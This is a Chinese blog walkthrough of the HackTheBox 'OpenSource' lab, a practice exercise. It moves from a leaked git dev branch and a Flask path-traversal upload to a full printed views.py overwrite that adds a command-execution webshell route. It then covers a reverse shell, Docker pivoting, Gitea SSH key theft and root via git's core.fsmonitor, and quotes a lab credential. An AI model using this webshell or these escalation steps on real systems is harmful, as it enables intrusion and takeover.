HackTheBox | OpenSource

文章描述了一次通过nmap扫描发现开放端口,利用Flask框架的上传漏洞结合.git目录信息,进一步获取Webshell并切换git分支,找到HTTP代理凭证。之后,利用路径遍历漏洞覆盖原文件实现命令执行,探测内网环境,发现Docker容器,并通过Gitea管理界面登录获取SSH私钥,最终通过进程监控和文件系统操作获得更高权限。
摘要由CSDN通过智能技术生成

HackTheBox | OpenSource

nmap扫描,开放22、80

image-20230115212435417

访问Web服务,看到下载功能,下载后得到压缩文件source.zip

image-20230115212937377

代码目前没有发现太多东西,不过可以知道是使用python开发,且为flask框架

来到上传页面

image-20230115220912671

尝试上传文件,发现上传后可以得到URL

image-20230116092226387

首先想到上传python版本的Webshell,但是好像解析失败了

image-20230116092559183

回到获取到的源文件中,看到.git目录,想到git泄露之类的东西

git log看一下,没有很多commit,但是看到最后一次commit指向了public分支

image-20230116124803829

使用git branch看一下是否存在其他分支,存在dev分支

image-20230116124836659

git checkout dev切换到dev分支,然后检查历史记录

image-20230116124930615

依次show一下,在be4da71987bbbc8fae7c961fb2de01ebd0be1997分支看到http代理,里面写了一对用户名和密码dev01/Soulless_Developer#2022,其余没有太多信息。

image-20230116125008154

分析一下源代码,在views.py中看到整个站点的逻辑,其中/upload对应文件上传页面

image-20230116095335650

在/upload中调用了函数upload_file(),用于接收和处理上传的文件。对于收到的文件,首先获取了文件名get_file_name(),然后进行了路径拼接os.path.join(),然后保存了文件f.save()

参考wp,其中的os.path.join()没有做过滤,可以用于构造特殊路径。

import os

file_name1 = "/etc/passwd"
file_name2 = "passwd"
file_name3 = "../../../../passwd"
print(os.path.join(os.getcwd(), "public", "uploads", file_name1))
print(os.path.join(os.getcwd(), "public", "uploads", file_name2))
print(os.path.join(os.getcwd(), "public", "uploads", file_name3))

image-20230116103636902

所以,当输入路径以/开头时,就可以指定路径。

构造python命令执行的页面,上传一个新的views.py,覆盖原本的文件

import os
import subprocess

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))


@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

@app.route('/cmd')
def execute():
	return subprocess.check_output(request.args.get('cmd').split(" "))

上传文件,将文件名修改为/app/app/views.py

image-20230116104442203

命令执行

image-20230116104800101

更进一步,直接反弹shell。修改代码,然后访问cmd路径。

image-20230116111151397

image-20230116111204543

检查IP地址,为172.17.0.9

image-20230116111327300

进入根目录,存在.dockerenv文件,说明当前是在docker容器中

image-20230116111402369

上传fscan,进行扫描,看到同网段存在很多机子,其中172.17.0.1页面不同。按理来说172.17.0.1为网关,也就是docker所在物理机,但是从外部访问不到这个端口。

image-20230116112046688

使用nps,搭建反向代理。访问到172.17.0.1:3000,为Gitea,版本为1.16.6

image-20230116113008811

前面获取到了用户名和密码,所以尝试登录。成功登录到后台。

image-20230116125344277

home-backup/.ssh目录下找到SSH私钥,获取后可以直接登录到目标主机上。

image-20230116125543211

image-20230116125612755

检查SUID,没有异常

image-20230116125736581

上传pspy,进行进程监控。发现3个点,定期执行的/app/run.py/root/meta/app/clean.sh/usr/local/bin/git-sync

image-20230116131900266

image-20230116131920247

在主机上找到不到run.py,应该是识别到的docker中的进程;/root/meta/app/clean.sh没有权限;/usr/local/bin/git-sync可读

image-20230116132644208

检查文件内容,为定期对本地/home/dev01备份的脚本

image-20230116132805799

在文章《Securing Developer Tools: Git Integrations》https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/提到了利用方法。

在git的配置文件中,参数core.fsmonitor的值会用来比较所有文件的变化。

找到配置文件/home/dev01/.git/config

image-20230116160529965

先写个简单的文件创建测试一下,保存文件后等待root用户的进程/usr/local/bin/git-sync执行。

image-20230116163843762

image-20230116163902961

利用root权限创建SUID置位的文件,等待执行后得到SUID置位的/bin/bash文件

image-20230116164021258

image-20230116164539500

image-20230116164556104

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值